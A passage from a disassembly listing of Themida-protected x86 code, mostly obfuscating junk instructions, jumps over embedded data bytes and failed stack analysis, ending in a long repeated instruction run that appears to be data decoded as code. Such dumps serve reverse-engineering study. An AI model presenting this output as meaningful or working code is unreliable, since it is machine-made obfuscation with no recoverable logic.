--------------------------------------------------------------------------- xor edx, [edi] aam 0Dh xchg eax, ebx ficomp word ptr ds:0B652650Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5D52C2 proc far ; CODE XREF: sub_5D52AA+8p mov ah, bh pop edx jmp loc_5D52D7 ; --------------------------------------------------------------------------- dw 0F229h dd 440122F4h, 2F37200Fh db 81h, 19h, 22h ; --------------------------------------------------------------------------- loc_5D52D7: ; CODE XREF: sub_5D52C2+3j mov dx, 4E20h jmp loc_5D52E5 ; --------------------------------------------------------------------------- dd 0F3D9D7D8h db 8Fh ; --------------------------------------------------------------------------- loc_5D52E5: ; CODE XREF: sub_5D52C2+19j sbb eax, 2D4B473h movzx esi, cx jnz loc_5D52F7 movsx edx, bx loc_5D52F7: ; CODE XREF: sub_5D52C2+2Cj adc ah, 35h or esi, 415BB8B1h mov al, 50h mov bh, 0E2h jmp loc_5D5317 ; --------------------------------------------------------------------------- db 6Eh, 0DFh, 3Ah dd 441851F1h, 0FE5795B4h db 25h, 4Eh, 0C7h ; --------------------------------------------------------------------------- loc_5D5317: ; CODE XREF: sub_5D52C2+42j sub al, 0Ah mov ch, 38h loc_5D531C: ; CODE XREF: sub_5D52C2+8Ej jmp loc_5D532C ; --------------------------------------------------------------------------- db 5, 0DAh, 1 db 0CCh db 8Ah, 41h, 85h dd 1969097Ch ; --------------------------------------------------------------------------- loc_5D532C: ; CODE XREF: sub_5D52C2:loc_5D531Cj jmp loc_5D5340 ; --------------------------------------------------------------------------- db 3Fh, 54h, 5Bh dd 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh ; --------------------------------------------------------------------------- loc_5D5340: ; CODE XREF: sub_5D52C2:loc_5D532Cj ; sub_5D52C2+BFj mov ebx, esi mov ah, 0A9h movzx edi, di push edi jmp loc_5D5357 ; --------------------------------------------------------------------------- db 0EDh, 0E0h, 1Fh ; --------------------------------------------------------------------------- jbe short loc_5D531C retf 0FA96h ; --------------------------------------------------------------------------- db 0B8h, 25h ; --------------------------------------------------------------------------- loc_5D5357: ; CODE XREF: sub_5D52C2+86j pop edx push eax pusha mov bh, 46h mov cx, si popa pop edi mov ch, 0A9h jmp loc_5D5373 ; --------------------------------------------------------------------------- dd 3287053h, 1B327493h ; --------------------------------------------------------------------------- sbb dh, [ecx+47h] loc_5D5373: ; CODE XREF: sub_5D52C2+A1j cmc jmp loc_5D538D ; --------------------------------------------------------------------------- pop esp add al, 0E1h cmp eax, 6C86EE90h jmp short loc_5D5340 ; --------------------------------------------------------------------------- db 0F4h ; --------------------------------------------------------------------------- mov ebx, 19AC6320h cmpsd cmc std loc_5D538D: ; CODE XREF: sub_5D52C2+B2j or ax, 0D9DAh pusha push edi movzx edi, si pop edi call loc_5D53A9 lahf hlt sub_5D52C2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0F9h dd 7C14DBB6h, 813EA10Eh db 9Ah ; --------------------------------------------------------------------------- loc_5D53A9: ; CODE XREF: sub_5D52C2+D6p mov di, 0AF75h pop ecx popa mov esi, ecx mov edi, esi mov edx, ebx mov si, 8271h mov al, 0BEh mov ebx, 301AC957h mov di, 1589h mov ebx, 28F8F6Dh mov esi, edx jz loc_5D53D3 mov eax, edi loc_5D53D3: ; CODE XREF: Themida_:005D53CBj pusha call sub_5D53E9 les sp, [esp+ebx*8] xchg eax, ebp ; --------------------------------------------------------------------------- dw 188Fh dd 0B15EFD22h, 0EDD5EB24h db 0E0h ; =============== S U B R O U T I N E ======================================= sub_5D53E9 proc near ; CODE XREF: Themida_:005D53D4p and esi, 11529B71h pop ebx mov edi, 3E910C96h popa pusha mov ch, dh mov edx, ecx popa push esi push edi mov dh, 0D6h pop edi pop edx mov ch, 8Ch sbb ah, 0E8h jmp loc_5D5412 ; --------------------------------------------------------------------------- dd 2C2638D7h db 0A3h, 71h ; --------------------------------------------------------------------------- loc_5D5412: ; CODE XREF: sub_5D53E9+1Ej call sub_5D5423 push es mov ch, 0AEh cli pusha xchg eax, ebx inc ebx and eax, 9EB3C1B1h sub_5D53E9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D5423 proc near ; CODE XREF: sub_5D53E9:loc_5D5412p pop ecx sub si, 230Fh and ecx, 3BC8ADFCh and dh, 6Ah jmp loc_5D5444 ; --------------------------------------------------------------------------- db 0E4h dd 0A86946BAh, 0B29A3A4h, 0C93DD0F1h ; --------------------------------------------------------------------------- loc_5D5444: ; CODE XREF: sub_5D5423+Fj jnz loc_5D544D movsx ecx, di loc_5D544D: ; CODE XREF: sub_5D5423:loc_5D5444j cmc mov ecx, ebx jmp loc_5D5467 ; --------------------------------------------------------------------------- db 0BDh, 0E6h, 0D4h dd 0AC4BC82h, 0EF3B6A1Ah, 4005F44Bh db 0F9h, 0EAh, 0D7h ; --------------------------------------------------------------------------- loc_5D5467: ; CODE XREF: sub_5D5423+2Dj jmp loc_5D5473 ; --------------------------------------------------------------------------- dd 29B6C709h db 80h, 24h, 0C8h ; --------------------------------------------------------------------------- loc_5D5473: ; CODE XREF: sub_5D5423:loc_5D5467j jg loc_5D547E push eax and al, 0CAh pop ebx loc_5D547E: ; CODE XREF: sub_5D5423:loc_5D5473j jmp loc_5D5491 ; --------------------------------------------------------------------------- db 0F6h dd 5213AF42h, 70C56A64h, 0C97A964Ah ; --------------------------------------------------------------------------- icebp loc_5D5491: ; CODE XREF: sub_5D5423:loc_5D547Ej sub cl, 0EBh pusha jmp loc_5D54A2 ; --------------------------------------------------------------------------- dw 9E7Bh dd 3236C5Eh db 0DCh, 4Ah ; --------------------------------------------------------------------------- loc_5D54A2: ; CODE XREF: sub_5D5423+72j mov ax, 0D6ABh popa mov esi, 57D7C019h movsx ecx, bx jmp loc_5D54C3 ; --------------------------------------------------------------------------- dd 727EF89Ch, 5FE38BB4h, 0C1BC55CBh db 90h db 42h, 39h ; --------------------------------------------------------------------------- loc_5D54C3: ; CODE XREF: sub_5D5423+8Cj movzx esi, ax jo $+6 jmp loc_5D54DB ; --------------------------------------------------------------------------- db 46h, 22h, 6Bh dd 0DFD34495h db 9, 0BAh, 0A9h ; --------------------------------------------------------------------------- loc_5D54DB: ; CODE XREF: sub_5D5423+A9j call near ptr loc_5D54E5+1 loop near ptr loc_5D5542+2 push ss fsubr qword ptr [edi] loc_5D54E5: ; CODE XREF: sub_5D5423:loc_5D54DBp sbb al, 0F8h sub_5D5423 endp ; sp-analysis failed pop ecx jnp loc_5D54F2 mov dx, 0D9D5h loc_5D54F2: ; CODE XREF: Themida_:005D54E8j call sub_5D550B push eax cmp [ecx], cl sbb eax, 4F318A1Ch outsd scasb mov word ptr [esi-680C1E1Eh], es movsd ; --------------------------------------------------------------------------- db 8Fh, 0A8h, 5Ah ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5D550B proc near ; CODE XREF: Themida_:loc_5D54F2p jmp sub_5D551E sub_5D550B endp ; --------------------------------------------------------------------------- dd 528905CFh, 0FB828D52h, 0FEFBF5Dh db 25h, 85h ; =============== S U B R O U T I N E ======================================= sub_5D551E proc near ; CODE XREF: sub_5D550Bj ; sub_5D551E+1Cj ; FUNCTION CHUNK AT 005D55BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005D55C6 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 005D5617 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005D562D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005D5638 SIZE 00000012 BYTES pop ecx push ebx pusha pusha popa movzx esi, dx popa pop esi call sub_5D553F adc [ebx+7790BCCEh], ecx test cl, ah mov edi, 0CFD53D44h jno short sub_5D551E push edx jge short loc_5D55BB sub_5D551E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D553F proc near ; CODE XREF: sub_5D551E+Ap mov dh, 0F1h pop ebx loc_5D5542: ; CODE XREF: sub_5D5423+BDj mov bx, cx mov cl, 0BAh mov bx, 9AE0h call near ptr loc_5D555A+3 xchg eax, edx push edx int 9Bh ; used by BASIC while in interpreter cmp eax, 90929612h dec ebp loc_5D555A: ; CODE XREF: sub_5D553F+Cp xor [ebx-79F0A1FEh], bh sub_5D553F endp ; sp-analysis failed or al, [eax] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- pusha jge $+6 mov dh, ah popa mov dh, 9Ch jmp loc_5D5586 ; --------------------------------------------------------------------------- db 0B8h, 77h, 1Ch dd 84C67EE4h, 0D151686Dh, 1BC1C92Ah ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 22h ; --------------------------------------------------------------------------- loc_5D5586: ; CODE XREF: Themida_:005D5570j or edx, 4F11E60Fh sbb ecx, 638D9BCAh jmp loc_5D55A1 ; --------------------------------------------------------------------------- db 6Bh dd 0B1611256h, 6C4275C5h ; --------------------------------------------------------------------------- daa loc_5D55A1: ; CODE XREF: Themida_:005D5592j push esi push eax jmp loc_5D55B0 ; --------------------------------------------------------------------------- xor ah, al push 0FFFFFFE9h db 36h test [ebp-3Eh], bl loc_5D55B0: ; CODE XREF: Themida_:005D55A3j pop edi pop ebx mov cx, dx jnp loc_5D55C6 ; START OF FUNCTION CHUNK FOR sub_5D551E loc_5D55BB: ; CODE XREF: sub_5D551E+1Fj jmp loc_5D55C6 ; END OF FUNCTION CHUNK FOR sub_5D551E ; --------------------------------------------------------------------------- dd 0AFA577B7h db 0BCh, 63h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D551E loc_5D55C6: ; CODE XREF: Themida_:005D55B5j ; sub_5D551E:loc_5D55BBj mov edi, ebx mov al, 6Fh mov ecx, 62B08A2Bh add di, 0C340h sub eax, 397F1AA5h push edi call near ptr loc_5D55E7+5 push ebx adc esi, [esi-3FFE79B3h] loc_5D55E7: ; CODE XREF: sub_5D551E+BDp test dword ptr ds:0B9973921h, 4484F99Ah pop esi pop edi mov di, bx sub ah, 0E1h mov bl, 67h mov ebx, 2661D4E4h pusha js loc_5D5609 mov bl, dl loc_5D5609: ; CODE XREF: sub_5D551E+E3j ; sub_5D564C+2Dj jmp loc_5D5617 ; END OF FUNCTION CHUNK FOR sub_5D551E ; --------------------------------------------------------------------------- dw 0EA5Eh dd 62DB9416h db 0D5h, 1Eh, 0E2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D551E loc_5D5617: ; CODE XREF: sub_5D551E:loc_5D5609j popa stc add ch, 0ADh xor ebx, 779F11FBh jmp loc_5D562D ; END OF FUNCTION CHUNK FOR sub_5D551E ; --------------------------------------------------------------------------- db 0BEh dd 0F2494C20h db 0D4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D551E loc_5D562D: ; CODE XREF: sub_5D551E+104j jmp loc_5D5638 ; END OF FUNCTION CHUNK FOR sub_5D551E ; --------------------------------------------------------------------------- dw 39A5h dd 0C76CE2D3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D551E loc_5D5638: ; CODE XREF: sub_5D551E:loc_5D562Dj call sub_5D564C xor dl, [ecx+7F2F957Ch] call near ptr 66F5778Ah jmp short near ptr loc_5D5648+1 ; CODE XREF: sub_5D551E:loc_5D5648j ; END OF FUNCTION CHUNK FOR sub_5D551E ; --------------------------------------------------------------------------- dw 7905h ; =============== S U B R O U T I N E ======================================= sub_5D564C proc near ; CODE XREF: sub_5D551E:loc_5D5638p mov bl, 0E1h pop eax movzx ebx, di mov si, di mov dh, 71h sub si, 6548h mov ecx, ebx adc bx, 0C9D8h mov eax, 213715ACh add ecx, 0E633982h jnz $+6 call near ptr loc_5D5685+6 loopne near ptr loc_5D5609+1 mov ebp, 8154FDB0h shr byte ptr [ebp+3Ch], 1 dec esi clc loc_5D5685: ; CODE XREF: sub_5D564C+28p xor [edx+edx-7F87AA81h], bh sub_5D564C endp ; sp-analysis failed fdivr dword ptr [edi] pop edx jmp loc_5D569C ; --------------------------------------------------------------------------- dd 1FF6EC19h, 0A60A48CCh ; --------------------------------------------------------------------------- loc_5D569C: ; CODE XREF: Themida_:005D568Fj mov cx, ax mov eax, 1F8E7EC3h loc_5D56A4: ; CODE XREF: Themida_:005D56C7j movsx eax, cx mov cx, dx mov di, 2BABh jmp loc_5D56BC ; --------------------------------------------------------------------------- db 0BEh dd 0B636FBEDh, 0EC647C4Ah ; --------------------------------------------------------------------------- loc_5D56BC: ; CODE XREF: Themida_:005D56AEj and bx, 0BD36h jmp loc_5D56CD ; --------------------------------------------------------------------------- loc_5D56C6: ; CODE XREF: Themida_:005D56FBj inc esi jno short loc_5D56A4 ; --------------------------------------------------------------------------- db 69h, 2Bh, 2Dh db 0DCh ; --------------------------------------------------------------------------- loc_5D56CD: ; CODE XREF: Themida_:005D56C1j jno loc_5D56D9 and edx, 4FC56ECAh loc_5D56D9: ; CODE XREF: Themida_:loc_5D56CDj add ch, 0EEh mov dx, di mov edx, ebx sub di, 8AB9h cmc cld mov ecx, edi cmc add cx, 4816h movzx esi, di call near ptr loc_5D5707+1 xchg esp, [ebx] insb jbe short loc_5D56C6 inc ebp sub ebx, [ecx] movsb sub byte ptr [edi+46h], 3Ch stc loc_5D5707: ; CODE XREF: Themida_:005D56F3p db 2Eh pop edi jmp loc_5D571B ; --------------------------------------------------------------------------- dw 401Ah dd 4530B784h, 6D2A5D9Ch db 0FEh, 63h, 32h ; --------------------------------------------------------------------------- loc_5D571B: ; CODE XREF: Themida_:005D5709j cmc call sub_5D5732 fldcw word ptr [edx-8] or al, 9Eh sub eax, edi inc ebp adc al, 36h cmp [esi-54F1D916h], ecx ; --------------------------------------------------------------------------- db 0FEh ; =============== S U B R O U T I N E ======================================= sub_5D5732 proc near ; CODE XREF: Themida_:005D571Cp pusha stc add edx, 3B5F96E4h popa pop ecx sbb ebx, 5C411A2Bh cld jb $+6 stc mov ebx, edx sbb edi, 43504F4Eh jmp loc_5D575C ; --------------------------------------------------------------------------- mov ds:9131C54h, al loc_5D575C: ; CODE XREF: sub_5D5732+20j or edx, 4A576B4Eh jmp loc_5D5775 ; --------------------------------------------------------------------------- db 0Bh dd 6950E671h, 4E9626C2h, 29D05D32h db 2Ah ; --------------------------------------------------------------------------- loc_5D5775: ; CODE XREF: sub_5D5732+30j movsx ecx, di jnb $+6 mov eax, edi mov cl, dl mov ebx, esi jmp loc_5D579D ; --------------------------------------------------------------------------- db 0FBh, 18h, 0BEh dd 3AAA6B09h, 39A0CF9Eh, 1085AD40h, 4FDA1357h db 7Eh ; --------------------------------------------------------------------------- loc_5D579D: ; CODE XREF: sub_5D5732+52j mov edx, ecx pusha xor ax, 92B0h and bl, 3 popa jmp loc_5D57BF ; --------------------------------------------------------------------------- dw 296Ch dd 6487E6AEh, 0C927A49h, 0CECC0538h ; --------------------------------------------------------------------------- aas sbb dl, dh loc_5D57BF: ; CODE XREF: sub_5D5732+77j mov ah, bh movsx edi, si push edi adc ax, 0DFD6h pop ecx mov ax, di jmp loc_5D57D9 ; --------------------------------------------------------------------------- db 5Fh dd 2D5FF539h db 8 ; --------------------------------------------------------------------------- loc_5D57D9: ; CODE XREF: sub_5D5732+9Cj cld jmp loc_5D57ED ; --------------------------------------------------------------------------- db 55h dd 60565972h, 7656E5Fh, 7EF6CD0Fh db 0E0h ; --------------------------------------------------------------------------- loc_5D57ED: ; CODE XREF: sub_5D5732+A8j mov bh, 0BBh stc jmp loc_5D57FD ; --------------------------------------------------------------------------- db 0ABh, 6Dh, 0B5h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 54h, 0BFh, 9Ch db 0DFh ; --------------------------------------------------------------------------- loc_5D57FD: ; CODE XREF: sub_5D5732+BEj mov eax, ebx movsx ebx, ax jmp loc_5D5810 ; --------------------------------------------------------------------------- push fs jns short loc_5D5864 retn ; --------------------------------------------------------------------------- dd 0B1D3F618h ; --------------------------------------------------------------------------- loc_5D5810: ; CODE XREF: sub_5D5732+D0j add bl, 0E8h jz loc_5D5820 push edx mov ebx, 1B2EEE4Eh pop edx loc_5D5820: ; CODE XREF: sub_5D5732+E1j movsx edi, cx mov bx, 9808h jz loc_5D5830 mov ax, dx loc_5D5830: ; CODE XREF: sub_5D5732+F5j mov cx, 0A2F1h call sub_5D584B mov byte ptr [ecx], 30h pop es adc [ecx], bh sal byte ptr [ebp-546962B8h], 1 db 66h xor al, 0CCh iret sub_5D5732 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov fs, word ptr [eax] ; =============== S U B R O U T I N E ======================================= sub_5D584B proc near ; CODE XREF: sub_5D5732+102p mov al, 70h pop edi push ecx pop ecx jmp loc_5D585D ; --------------------------------------------------------------------------- clc pop ebp add ebx, [esi] add bl, 0B1h loc_5D585D: ; CODE XREF: sub_5D584B+5j push 0FFFFFFA7h inc ecx and ch, [edx-59h] inc ecx loc_5D5864: ; CODE XREF: sub_5D5732+D7j and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc ecx and ch, [edx-59h] inc 